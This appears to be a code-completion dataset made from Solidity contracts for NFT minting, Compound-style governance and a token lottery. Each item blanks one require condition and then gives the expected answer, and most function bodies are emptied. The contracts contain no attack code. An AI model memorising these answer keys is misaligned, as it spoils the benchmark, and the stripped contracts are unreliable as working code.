address[] memory payees,
uint256[] memory shares,
string memory _name,
string memory _symbol
) ERC721M(_name, _symbol) PaymentSplitter(payees, shares) {
}
/**
* @dev Mint an LBR Ledger NFT
* @param numMints Number of mints
*/
function mint(uint256 numMints) external payable override nonReentrant {
}
/**
* @dev Mints reserved NFTs to an address other than the sender. Sender must be owner
* @param numMints Number of mints
* @param recipient Recipient of new mints
*/
function mintReservedToAddress(uint256 numMints, address recipient)
external
onlyOwner
{
require(
totalSupply() + numMints <= MAX_SUPPLY,
'LBRLedger: New mint exceeds maximum supply'
);
require(<FILL_ME>)
uint256 tokenIndex = totalSupply();
for (uint256 i = 0; i < numMints; ++i) {
_reserved.increment();
_safeMint(recipient, tokenIndex + i);
}
delete tokenIndex;
}
/**
* @dev Mints reserved NFTs to the sender. Sender must be owner
* @param numMints Number of mints
*/
function mintReserved(uint256 numMints) external onlyOwner {
}
/**
* @dev Sets base uri used for tokenURI. Sender must be owner
* @param __uri The new uri to set base uri to
*/
function setBaseURI(string memory __uri) external onlyOwner {
}
/**
* @dev Sets price per mint. Sender must be owner
* @param __price New price
*/
function setPrice(uint256 __price) external onlyOwner {
}
/**
* @dev Changes sale state to opposite of what it was previously. Sender must be owner
*/
function flipSaleState() external onlyOwner {
}
function setContractURI(string memory __contractURI) external onlyOwner {
}
function contractURI() public view override returns (string memory) {
}
function price() public view override returns (uint256) {
}
function reserved() public view override returns (uint256) {
}
function baseURI() public view override returns (string memory) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| _reserved.current()+numMints<=MAX_RESERVED_SUPPLY,'LBRLedger: New mint exceeds reserve supply' | 474,543 | _reserved.current()+numMints<=MAX_RESERVED_SUPPLY |
"GovernorAlpha::propose: proposer votes below proposal threshold" | // COPIED FROM https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/GovernorAlpha.sol
// Copyright 2020 Compound Labs, Inc.
// Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
// 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
// 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
// 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//
// Ctrl+f for XXX to see all the modifications.
// uint96s are changed to uint256s for simplicity and safety.
// XXX: pragma solidity ^0.5.16;
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "./TENS.sol";
contract GovernorAlpha {
/// @notice The name of this contract
string public constant name = "Tens Governor Alpha";
/// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed
// XXX: function quorumVotes() public pure returns (uint) { return 400000e18; } // 400,000 = 4% of Comp
function quorumVotes() public view returns (uint) { } // 4% of Supply
/// @notice The number of votes required in order for a voter to become a proposer
// function proposalThreshold() public pure returns (uint) { return 100000e18; } // 100,000 = 1% of Comp
function proposalThreshold() public view returns (uint) { } // 1% of Supply
/// @notice The maximum number of actions that can be included in a proposal
function proposalMaxOperations() public pure returns (uint) { } // 10 actions
/// @notice The delay before voting on a proposal may take place, once proposed
function votingDelay() public pure returns (uint) { } // 1 block
/// @notice The duration of voting on a proposal, in blocks
function votingPeriod() public pure returns (uint) { } // ~3 days in blocks (assuming 15s blocks)
/// @notice The address of the Compound Protocol Timelock
TimelockInterface public timelock;
/// @notice The address of the Compound governance token
// XXX: CompInterface public comp;
TENS public tens;
/// @notice The address of the Governor Guardian
address public guardian;
/// @notice The total number of proposals
uint public proposalCount;
struct Proposal {
/// @notice Unique id for looking up a proposal
uint id;
/// @notice Creator of the proposal
address proposer;
/// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds
uint eta;
/// @notice the ordered list of target addresses for calls to be made
address[] targets;
/// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made
uint[] values;
/// @notice The ordered list of function signatures to be called
string[] signatures;
/// @notice The ordered list of calldata to be passed to each call
bytes[] calldatas;
/// @notice The block at which voting begins: holders must delegate their votes prior to this block
uint startBlock;
/// @notice The block at which voting ends: votes must be cast prior to this block
uint endBlock;
/// @notice Current number of votes in favor of this proposal
uint forVotes;
/// @notice Current number of votes in opposition to this proposal
uint againstVotes;
/// @notice Flag marking whether the proposal has been canceled
bool canceled;
/// @notice Flag marking whether the proposal has been executed
bool executed;
/// @notice Receipts of ballots for the entire set of voters
mapping (address => Receipt) receipts;
}
/// @notice Ballot receipt record for a voter
struct Receipt {
/// @notice Whether or not a vote has been cast
bool hasVoted;
/// @notice Whether or not the voter supports the proposal
bool support;
/// @notice The number of votes the voter had, which were cast
uint256 votes;
}
/// @notice Possible states that a proposal may be in
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
/// @notice The official record of all proposals ever proposed
mapping (uint => Proposal) public proposals;
/// @notice The latest proposal for each proposer
mapping (address => uint) public latestProposalIds;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the ballot struct used by the contract
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)");
/// @notice An event emitted when a new proposal is created
event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description);
/// @notice An event emitted when a vote has been cast on a proposal
event VoteCast(address voter, uint proposalId, bool support, uint votes);
/// @notice An event emitted when a proposal has been canceled
event ProposalCanceled(uint id);
/// @notice An event emitted when a proposal has been queued in the Timelock
event ProposalQueued(uint id, uint eta);
/// @notice An event emitted when a proposal has been executed in the Timelock
event ProposalExecuted(uint id);
constructor(address timelock_, address tens_, address guardian_) public {
}
function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) {
require(<FILL_ME>)
require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch");
require(targets.length != 0, "GovernorAlpha::propose: must provide actions");
require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions");
uint latestProposalId = latestProposalIds[msg.sender];
if (latestProposalId != 0) {
ProposalState proposersLatestProposalState = state(latestProposalId);
require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: one live proposal per proposer, found an already active proposal");
require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal");
}
uint startBlock = add256(block.number, votingDelay());
uint endBlock = add256(startBlock, votingPeriod());
proposalCount++;
Proposal memory newProposal = Proposal({
id: proposalCount,
proposer: msg.sender,
eta: 0,
targets: targets,
values: values,
signatures: signatures,
calldatas: calldatas,
startBlock: startBlock,
endBlock: endBlock,
forVotes: 0,
againstVotes: 0,
canceled: false,
executed: false
});
proposals[newProposal.id] = newProposal;
latestProposalIds[newProposal.proposer] = newProposal.id;
emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description);
return newProposal.id;
}
function queue(uint proposalId) public {
}
function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal {
}
function execute(uint proposalId) public payable {
}
function cancel(uint proposalId) public {
}
function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) {
}
function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) {
}
function state(uint proposalId) public view returns (ProposalState) {
}
function castVote(uint proposalId, bool support) public {
}
function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public {
}
function _castVote(address voter, uint proposalId, bool support) internal {
}
function __acceptAdmin() public {
}
function __abdicate() public {
}
function __queueSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public {
}
function __executeSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public {
}
function add256(uint256 a, uint256 b) internal pure returns (uint) {
}
function sub256(uint256 a, uint256 b) internal pure returns (uint) {
}
function getChainId() internal pure returns (uint) {
}
}
interface TimelockInterface {
function delay() external view returns (uint);
function GRACE_PERIOD() external view returns (uint);
function acceptAdmin() external;
function queuedTransactions(bytes32 hash) external view returns (bool);
function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32);
function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external;
function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory);
}
| tens.getPriorVotes(msg.sender,sub256(block.number,1))>proposalThreshold(),"GovernorAlpha::propose: proposer votes below proposal threshold" | 474,671 | tens.getPriorVotes(msg.sender,sub256(block.number,1))>proposalThreshold() |
"Token is not in bonus pool" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract Lottery {
ERC20Burnable public ERC20Token;
uint256 public pool;
uint256 public fees;
uint256 public ticket_cost;
uint256 public last_drawn;
uint256 public fee_basis_points = 500;
uint256 public total_basis_points = 10000;
address s_owner;
address g_owner;
address[] public players;
address[] public winners;
address[] public bonusPoolTokens;
bool public lotteryStarted;
mapping(address => uint256) public bonusPool;
mapping(address => mapping(address => uint256)) public claimableRewards;
constructor(address tokenAddress, address giver) {
}
modifier onlyOwner() {
}
modifier onlyGiver() {
}
modifier hasLotteryStarted() {
}
modifier notZeroPlayers() {
}
function updateTicketCost(uint256 newTicketCost) external onlyOwner {
}
function updateFeeBasisPoints(uint256 _fee_basis_points)
external
onlyOwner
{
}
function updateTotalBasisPoints(uint256 _total_basis_points)
external
onlyOwner
{
}
function giveTickets(address wallet, uint256 amount) external onlyGiver {
}
function addBonusTokens(address tokenAddress, uint256 amount)
external
payable
onlyOwner
{
}
function removeBonusToken(address tokenAddress) external onlyOwner {
uint256 bonusTokensLength = bonusPoolTokens.length;
require(
bonusTokensLength != 0,
"no bonus token to remove from lottery"
);
// require(bonusTokensLength != 0, "No bonus tokens in lottery");
uint256 currentBonusTokenAmount = bonusPool[tokenAddress];
uint256 poolIndex = 0;
// Find index of token in array of bonus tokens
while (
poolIndex < bonusTokensLength &&
bonusPoolTokens[poolIndex] != tokenAddress
) {
if (poolIndex == bonusTokensLength - 1) break;
poolIndex++;
}
// Guard if token not found
require(<FILL_ME>)
// Remove the token from the array and reset amount
while (poolIndex < bonusTokensLength - 1) {
bonusPoolTokens[poolIndex] = bonusPoolTokens[poolIndex + 1];
poolIndex++;
}
bonusPoolTokens.pop();
bonusPool[tokenAddress] = 0;
// send current funds of token to owner
if (tokenAddress == address(0)) {
payable(msg.sender).transfer(currentBonusTokenAmount);
} else {
IERC20(tokenAddress).transfer(msg.sender, currentBonusTokenAmount);
}
}
function startNextLottery() external onlyOwner {
}
function stopLottery() external onlyOwner {
}
function getWinners() external view returns (address[] memory) {
}
function getPlayers() external view returns (address[] memory) {
}
function getBonusPoolTokens() external view returns (address[] memory) {
}
function enter(uint256 numTickets) public hasLotteryStarted {
}
function pickWinner(uint256[] calldata randomNumbers)
external
onlyOwner
notZeroPlayers
{
}
function claimRewards(address[] calldata tokenAddresses) external {
}
function withdrawFees() external onlyOwner {
}
function withdrawRemaining(address tokenAddress, uint256 amount)
external
onlyOwner
{
}
}
| bonusPoolTokens[poolIndex]==tokenAddress,"Token is not in bonus pool" | 474,929 | bonusPoolTokens[poolIndex]==tokenAddress |
"Incorrect funds" | contract GalaxyPeeps is
Ownable,
ERC721A,
IERC2981,
ReentrancyGuard,
DefaultOperatorFilterer
{
uint256 public MAX_SUPPLY = 7777;
uint256 public PUBLIC_PRICE = 0.002 ether;
uint256 public PRESALE_PRICE = 0.01 ether;
uint256 public OGSALE_PRICE = 0.004 ether;
uint256 public _reserveCounter;
uint256 public _airdropCounter;
uint256 public _preSaleCounter;
uint256 public _ogSaleCounter;
uint256 public _publicCounter;
uint256 public _freeSaleCounter;
uint256 public maxPreSaleMintAmount = 2;
uint256 public maxOgSaleMintAmount = 3;
uint256 public maxPublicSaleMintAmount = 1;
bool public _preSaleActive = false;
bool public _ogSaleActive = false;
bool public _publicSaleActive = false;
bool public _freeSaleActive = false;
mapping(address => uint256) public _preSaleMintCounter;
mapping(address => uint256) public _publicSaleMintCounter;
mapping(address => uint256) public _ogSaleMintCounter;
mapping(address => uint256) public _freeSaleMintCounter;
bytes32 public merkleRoot;
string public notRevealedUri;
string public baseExtension = ".json";
bool public _revealed = false;
address public royaltyAddress;
uint256 public royaltyPercent;
constructor(
string memory name,
string memory symbol,
string memory _notRevealedUri
) ERC721A(name, symbol) {
}
enum MintPass {
PRE_SALE,
OG_SALE,
FREE_SALE
}
// modifiers
modifier checkQuantity(uint256 quantity) {
}
modifier price(uint256 pricePer, uint256 quantity) {
require(<FILL_ME>)
_;
}
modifier merkleProven(bytes32[] calldata _merkleProof, MintPass mintPass) {
}
modifier merkleProvenFree(bytes32[] calldata _merkleProof, MintPass mintPass, uint256 maxQty) {
}
// mint functions
function reserveMint(uint256 quantity) public onlyOwner checkQuantity(quantity) {
}
function airDrop(
address[] calldata _to,
uint256 quantity
) public onlyOwner checkQuantity(quantity * _to.length) {
}
function mintPreSaleTokens(
uint256 quantity,
bytes32[] calldata _merkleProof
) public payable
merkleProven(_merkleProof, MintPass.PRE_SALE)
checkQuantity(quantity)
price(PRESALE_PRICE, quantity)
{
}
function publicSaleMint(uint256 quantity) public payable
checkQuantity(quantity)
price(PUBLIC_PRICE, quantity)
{
}
function mintOgSaleTokens(
uint256 quantity,
bytes32[] calldata _merkleProof
) public payable
merkleProven(_merkleProof, MintPass.OG_SALE)
checkQuantity(quantity)
price(OGSALE_PRICE, quantity)
{
}
function mintFreeSaleTokens(
uint256 quantity,
bytes32[] calldata _merkleProof,
uint256 maxQty
) public payable
merkleProvenFree(_merkleProof, MintPass.FREE_SALE, maxQty)
checkQuantity(quantity)
price(0, 0)
{
}
// info functions
struct UserMinted {
uint256 preSaleMinted;
uint256 ogSaleMinted;
uint256 freeSaleMinted;
uint256 publicSaleMinted;
}
struct PriceInfo {
uint256 preSalePrice;
uint256 ogSalePrice;
uint256 publicSalePrice;
}
struct MaxMintInfo {
uint256 maxPreSaleMintAmount;
uint256 maxOgSaleMintAmount;
uint256 maxPublicSaleMintAmount;
}
struct SaleInfo {
bool preSaleActive;
bool ogSaleActive;
bool freeSaleActive;
bool publicSaleActive;
}
function getUserMintInfo(address user) external view returns (
UserMinted memory mintInfo,
PriceInfo memory priceInfo,
MaxMintInfo memory maxMintInfo,
SaleInfo memory saleInfo,
uint256 _totalSupply,
uint256 _maxSupply,
bytes32 _merkleRoot
) {
}
function getMintInfo() external view
returns(
PriceInfo memory priceInfo,
MaxMintInfo memory maxMintInfo,
SaleInfo memory saleInfo,
uint256 _totalSupply,
uint256 _maxSupply,
bytes32 _merkleRoot
) {
}
// balance
function getBalance() public view returns (uint256) {
}
function withdraw() public payable onlyOwner {
}
// metadata
string private _baseTokenURI;
function setBaseURI(string calldata baseURI) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function reveal(bool _state) public onlyOwner {
}
function tokenURI(
uint256 tokenId
) public view virtual override returns (string memory) {
}
// ERC721 / OperatorFilter
function _startTokenId() internal view virtual override returns (uint256) {
}
function setApprovalForAll(
address operator,
bool approved
) public override onlyAllowedOperatorApproval(operator) {
}
function approve(
address operator,
uint256 tokenId
) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
// ERC2981
function setRoyaltyReceiver(address royaltyReceiver) public onlyOwner {
}
function setRoyaltyPercentage(uint256 royaltyPercentage) public onlyOwner {
}
function royaltyInfo(
uint256 tokenId,
uint256 salePrice
) external view override returns (address receiver, uint256 royaltyAmount) {
}
// ERC165
function supportsInterface(
bytes4 interfaceId
) public view override(ERC721A, IERC165) returns (bool) {
}
// Setters
function setPreSaleActive(bool _state) public onlyOwner {
}
function setPublicSaleActive(bool _state) public onlyOwner {
}
function setOgSaleActive(bool _state) public onlyOwner {
}
function setFreeSaleActive(bool _state) public onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) public onlyOwner {
}
function setMaxPreSaleMintAmount(uint256 _newQty) public onlyOwner {
}
function setOgSaleMintAmount(uint256 _newQty) public onlyOwner {
}
function setPublicSaleMintAmount(uint256 _newQty) public onlyOwner {
}
function setPublicMintPrice(uint256 _newCost) public onlyOwner {
}
function setPresaleMintPrice(uint256 _newCost) public onlyOwner {
}
function setOgSaleMintPrice(uint256 _newCost) public onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
}
| pricePer*quantity==msg.value,"Incorrect funds" | 474,967 | pricePer*quantity==msg.value |
"Exceeds max per address" | contract GalaxyPeeps is
Ownable,
ERC721A,
IERC2981,
ReentrancyGuard,
DefaultOperatorFilterer
{
uint256 public MAX_SUPPLY = 7777;
uint256 public PUBLIC_PRICE = 0.002 ether;
uint256 public PRESALE_PRICE = 0.01 ether;
uint256 public OGSALE_PRICE = 0.004 ether;
uint256 public _reserveCounter;
uint256 public _airdropCounter;
uint256 public _preSaleCounter;
uint256 public _ogSaleCounter;
uint256 public _publicCounter;
uint256 public _freeSaleCounter;
uint256 public maxPreSaleMintAmount = 2;
uint256 public maxOgSaleMintAmount = 3;
uint256 public maxPublicSaleMintAmount = 1;
bool public _preSaleActive = false;
bool public _ogSaleActive = false;
bool public _publicSaleActive = false;
bool public _freeSaleActive = false;
mapping(address => uint256) public _preSaleMintCounter;
mapping(address => uint256) public _publicSaleMintCounter;
mapping(address => uint256) public _ogSaleMintCounter;
mapping(address => uint256) public _freeSaleMintCounter;
bytes32 public merkleRoot;
string public notRevealedUri;
string public baseExtension = ".json";
bool public _revealed = false;
address public royaltyAddress;
uint256 public royaltyPercent;
constructor(
string memory name,
string memory symbol,
string memory _notRevealedUri
) ERC721A(name, symbol) {
}
enum MintPass {
PRE_SALE,
OG_SALE,
FREE_SALE
}
// modifiers
modifier checkQuantity(uint256 quantity) {
}
modifier price(uint256 pricePer, uint256 quantity) {
}
modifier merkleProven(bytes32[] calldata _merkleProof, MintPass mintPass) {
}
modifier merkleProvenFree(bytes32[] calldata _merkleProof, MintPass mintPass, uint256 maxQty) {
}
// mint functions
function reserveMint(uint256 quantity) public onlyOwner checkQuantity(quantity) {
}
function airDrop(
address[] calldata _to,
uint256 quantity
) public onlyOwner checkQuantity(quantity * _to.length) {
}
function mintPreSaleTokens(
uint256 quantity,
bytes32[] calldata _merkleProof
) public payable
merkleProven(_merkleProof, MintPass.PRE_SALE)
checkQuantity(quantity)
price(PRESALE_PRICE, quantity)
{
require(_preSaleActive, "PreSale is not active");
require(<FILL_ME>)
_safeMint(msg.sender, quantity);
_preSaleCounter = _preSaleCounter + quantity;
_preSaleMintCounter[msg.sender] =
_preSaleMintCounter[msg.sender] +
quantity;
}
function publicSaleMint(uint256 quantity) public payable
checkQuantity(quantity)
price(PUBLIC_PRICE, quantity)
{
}
function mintOgSaleTokens(
uint256 quantity,
bytes32[] calldata _merkleProof
) public payable
merkleProven(_merkleProof, MintPass.OG_SALE)
checkQuantity(quantity)
price(OGSALE_PRICE, quantity)
{
}
function mintFreeSaleTokens(
uint256 quantity,
bytes32[] calldata _merkleProof,
uint256 maxQty
) public payable
merkleProvenFree(_merkleProof, MintPass.FREE_SALE, maxQty)
checkQuantity(quantity)
price(0, 0)
{
}
// info functions
struct UserMinted {
uint256 preSaleMinted;
uint256 ogSaleMinted;
uint256 freeSaleMinted;
uint256 publicSaleMinted;
}
struct PriceInfo {
uint256 preSalePrice;
uint256 ogSalePrice;
uint256 publicSalePrice;
}
struct MaxMintInfo {
uint256 maxPreSaleMintAmount;
uint256 maxOgSaleMintAmount;
uint256 maxPublicSaleMintAmount;
}
struct SaleInfo {
bool preSaleActive;
bool ogSaleActive;
bool freeSaleActive;
bool publicSaleActive;
}
function getUserMintInfo(address user) external view returns (
UserMinted memory mintInfo,
PriceInfo memory priceInfo,
MaxMintInfo memory maxMintInfo,
SaleInfo memory saleInfo,
uint256 _totalSupply,
uint256 _maxSupply,
bytes32 _merkleRoot
) {
}
function getMintInfo() external view
returns(
PriceInfo memory priceInfo,
MaxMintInfo memory maxMintInfo,
SaleInfo memory saleInfo,
uint256 _totalSupply,
uint256 _maxSupply,
bytes32 _merkleRoot
) {
}
// balance
function getBalance() public view returns (uint256) {
}
function withdraw() public payable onlyOwner {
}
// metadata
string private _baseTokenURI;
function setBaseURI(string calldata baseURI) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function reveal(bool _state) public onlyOwner {
}
function tokenURI(
uint256 tokenId
) public view virtual override returns (string memory) {
}
// ERC721 / OperatorFilter
function _startTokenId() internal view virtual override returns (uint256) {
}
function setApprovalForAll(
address operator,
bool approved
) public override onlyAllowedOperatorApproval(operator) {
}
function approve(
address operator,
uint256 tokenId
) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
// ERC2981
function setRoyaltyReceiver(address royaltyReceiver) public onlyOwner {
}
function setRoyaltyPercentage(uint256 royaltyPercentage) public onlyOwner {
}
function royaltyInfo(
uint256 tokenId,
uint256 salePrice
) external view override returns (address receiver, uint256 royaltyAmount) {
}
// ERC165
function supportsInterface(
bytes4 interfaceId
) public view override(ERC721A, IERC165) returns (bool) {
}
// Setters
function setPreSaleActive(bool _state) public onlyOwner {
}
function setPublicSaleActive(bool _state) public onlyOwner {
}
function setOgSaleActive(bool _state) public onlyOwner {
}
function setFreeSaleActive(bool _state) public onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) public onlyOwner {
}
function setMaxPreSaleMintAmount(uint256 _newQty) public onlyOwner {
}
function setOgSaleMintAmount(uint256 _newQty) public onlyOwner {
}
function setPublicSaleMintAmount(uint256 _newQty) public onlyOwner {
}
function setPublicMintPrice(uint256 _newCost) public onlyOwner {
}
function setPresaleMintPrice(uint256 _newCost) public onlyOwner {
}
function setOgSaleMintPrice(uint256 _newCost) public onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
}
| _preSaleMintCounter[msg.sender]+quantity<=maxPreSaleMintAmount,"Exceeds max per address" | 474,967 | _preSaleMintCounter[msg.sender]+quantity<=maxPreSaleMintAmount |
"Exceeds max per address" | contract GalaxyPeeps is
Ownable,
ERC721A,
IERC2981,
ReentrancyGuard,
DefaultOperatorFilterer
{
uint256 public MAX_SUPPLY = 7777;
uint256 public PUBLIC_PRICE = 0.002 ether;
uint256 public PRESALE_PRICE = 0.01 ether;
uint256 public OGSALE_PRICE = 0.004 ether;
uint256 public _reserveCounter;
uint256 public _airdropCounter;
uint256 public _preSaleCounter;
uint256 public _ogSaleCounter;
uint256 public _publicCounter;
uint256 public _freeSaleCounter;
uint256 public maxPreSaleMintAmount = 2;
uint256 public maxOgSaleMintAmount = 3;
uint256 public maxPublicSaleMintAmount = 1;
bool public _preSaleActive = false;
bool public _ogSaleActive = false;
bool public _publicSaleActive = false;
bool public _freeSaleActive = false;
mapping(address => uint256) public _preSaleMintCounter;
mapping(address => uint256) public _publicSaleMintCounter;
mapping(address => uint256) public _ogSaleMintCounter;
mapping(address => uint256) public _freeSaleMintCounter;
bytes32 public merkleRoot;
string public notRevealedUri;
string public baseExtension = ".json";
bool public _revealed = false;
address public royaltyAddress;
uint256 public royaltyPercent;
constructor(
string memory name,
string memory symbol,
string memory _notRevealedUri
) ERC721A(name, symbol) {
}
enum MintPass {
PRE_SALE,
OG_SALE,
FREE_SALE
}
// modifiers
modifier checkQuantity(uint256 quantity) {
}
modifier price(uint256 pricePer, uint256 quantity) {
}
modifier merkleProven(bytes32[] calldata _merkleProof, MintPass mintPass) {
}
modifier merkleProvenFree(bytes32[] calldata _merkleProof, MintPass mintPass, uint256 maxQty) {
}
// mint functions
function reserveMint(uint256 quantity) public onlyOwner checkQuantity(quantity) {
}
function airDrop(
address[] calldata _to,
uint256 quantity
) public onlyOwner checkQuantity(quantity * _to.length) {
}
function mintPreSaleTokens(
uint256 quantity,
bytes32[] calldata _merkleProof
) public payable
merkleProven(_merkleProof, MintPass.PRE_SALE)
checkQuantity(quantity)
price(PRESALE_PRICE, quantity)
{
}
function publicSaleMint(uint256 quantity) public payable
checkQuantity(quantity)
price(PUBLIC_PRICE, quantity)
{
require(_publicSaleActive, "PublicSale is not active");
require(<FILL_ME>)
_safeMint(msg.sender, quantity);
_publicCounter = _publicCounter + quantity;
_publicSaleMintCounter[msg.sender] =
_publicSaleMintCounter[msg.sender] +
quantity;
}
function mintOgSaleTokens(
uint256 quantity,
bytes32[] calldata _merkleProof
) public payable
merkleProven(_merkleProof, MintPass.OG_SALE)
checkQuantity(quantity)
price(OGSALE_PRICE, quantity)
{
}
function mintFreeSaleTokens(
uint256 quantity,
bytes32[] calldata _merkleProof,
uint256 maxQty
) public payable
merkleProvenFree(_merkleProof, MintPass.FREE_SALE, maxQty)
checkQuantity(quantity)
price(0, 0)
{
}
// info functions
struct UserMinted {
uint256 preSaleMinted;
uint256 ogSaleMinted;
uint256 freeSaleMinted;
uint256 publicSaleMinted;
}
struct PriceInfo {
uint256 preSalePrice;
uint256 ogSalePrice;
uint256 publicSalePrice;
}
struct MaxMintInfo {
uint256 maxPreSaleMintAmount;
uint256 maxOgSaleMintAmount;
uint256 maxPublicSaleMintAmount;
}
struct SaleInfo {
bool preSaleActive;
bool ogSaleActive;
bool freeSaleActive;
bool publicSaleActive;
}
function getUserMintInfo(address user) external view returns (
UserMinted memory mintInfo,
PriceInfo memory priceInfo,
MaxMintInfo memory maxMintInfo,
SaleInfo memory saleInfo,
uint256 _totalSupply,
uint256 _maxSupply,
bytes32 _merkleRoot
) {
}
function getMintInfo() external view
returns(
PriceInfo memory priceInfo,
MaxMintInfo memory maxMintInfo,
SaleInfo memory saleInfo,
uint256 _totalSupply,
uint256 _maxSupply,
bytes32 _merkleRoot
) {
}
// balance
function getBalance() public view returns (uint256) {
}
function withdraw() public payable onlyOwner {
}
// metadata
string private _baseTokenURI;
function setBaseURI(string calldata baseURI) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function reveal(bool _state) public onlyOwner {
}
function tokenURI(
uint256 tokenId
) public view virtual override returns (string memory) {
}
// ERC721 / OperatorFilter
function _startTokenId() internal view virtual override returns (uint256) {
}
function setApprovalForAll(
address operator,
bool approved
) public override onlyAllowedOperatorApproval(operator) {
}
function approve(
address operator,
uint256 tokenId
) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
// ERC2981
function setRoyaltyReceiver(address royaltyReceiver) public onlyOwner {
}
function setRoyaltyPercentage(uint256 royaltyPercentage) public onlyOwner {
}
function royaltyInfo(
uint256 tokenId,
uint256 salePrice
) external view override returns (address receiver, uint256 royaltyAmount) {
}
// ERC165
function supportsInterface(
bytes4 interfaceId
) public view override(ERC721A, IERC165) returns (bool) {
}
// Setters
function setPreSaleActive(bool _state) public onlyOwner {
}
function setPublicSaleActive(bool _state) public onlyOwner {
}
function setOgSaleActive(bool _state) public onlyOwner {
}
function setFreeSaleActive(bool _state) public onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) public onlyOwner {
}
function setMaxPreSaleMintAmount(uint256 _newQty) public onlyOwner {
}
function setOgSaleMintAmount(uint256 _newQty) public onlyOwner {
}
function setPublicSaleMintAmount(uint256 _newQty) public onlyOwner {
}
function setPublicMintPrice(uint256 _newCost) public onlyOwner {
}
function setPresaleMintPrice(uint256 _newCost) public onlyOwner {
}
function setOgSaleMintPrice(uint256 _newCost) public onlyOwner {
}
